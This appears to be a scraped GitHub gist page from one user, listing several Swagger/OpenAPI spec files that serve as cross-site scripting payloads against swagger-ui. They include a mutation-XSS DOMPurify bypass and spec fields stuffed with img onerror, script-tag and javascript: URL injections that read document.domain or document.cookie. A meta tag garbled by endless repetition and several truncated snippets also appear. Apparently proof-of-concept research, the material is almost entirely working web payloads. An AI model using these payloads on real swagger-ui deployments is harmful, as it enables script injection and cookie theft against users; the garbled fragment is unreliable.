Skip to content

Instantly share code, notes, and snippets.

View yak0n's full-sized avatar

seba yak0n

  • Germany
View GitHub Profile
<html>
<metahttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equivhttp-equ
@yak0n
yak0n / xss-5.yaml
Last active May 30, 2022 14:21
swagger-ui xss via DomPurify bypass
swagger: '2.0'
info:
title: Example yaml.spec
description: |
<math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext><textarea><a title="</textarea><img src='#' onerror='alert(window.origin)'>">
paths:
/accounts:
get:
responses:
'200':
{ "swagger": "2.0", "info": { "title": "/qqq'\"><b style='x: expression(alert(1))'>", "description": "/rrr'\"><b style='x: expression(alert(1))'>", "version": "2017-06-04T22:56:06+00:00", "contact": { "name": "/sss'\"></script><img src=x onerror=alert(document.domain)>", "url": "javascript:alert(document.domain)", "email": "x@c.se" } }, "host": "xok", "basePath": "/\"'>eee<img src=x onerror=alert(document.domain)>", "schemes": [ "https" ], "consumes": [ "/ttt'\"></script></select>fff<img src=x onerror=alert(document.domain)>" ], "produces": [ "/uuu'\"></script>ggg<img src=x onerror=alert(document.domain)>" ], "securityDefinitions": { "oauth2": { "flow": "implicit", "authorizationUrl": "javascript:alert(document.domain)//", "scopes": { "web-api": "testing" }, "type": "oauth2" } }, "security": [ { "tokenHeader": ["/xxx'\"><img src=x onerror=alert(document.domain)>"] } ], "paths": { "/><img src=x onerror=alert(document.domain)>": { "post": { "summary": "/'\">bbb</script><img src=x onerror=alert(document.domain)>
@yak0n
yak0n / gist:a4f3bcef6d5eb01c0c72a7d9f479cf28
Last active February 17, 2020 11:40
swagger-yaml-xss
swagger: "2.0"
info:
title: test<img src=x onerror=prompt()>
version: "1.1"
description: description test<img src=x onerror=prompt()>
schemes: ["https"]
basePath: "/"
paths:
/<script>alert(document.domain)</script>:
{"apiVersion":"3","swaggerVersion":"1.1","basePath":"//","produces":["application\/json"],"consumes":["application\/json","multipart\/form-data"],"apis":[{"path":"\/<script>alert(document.cookie)</script>","description":"<s>123"}]}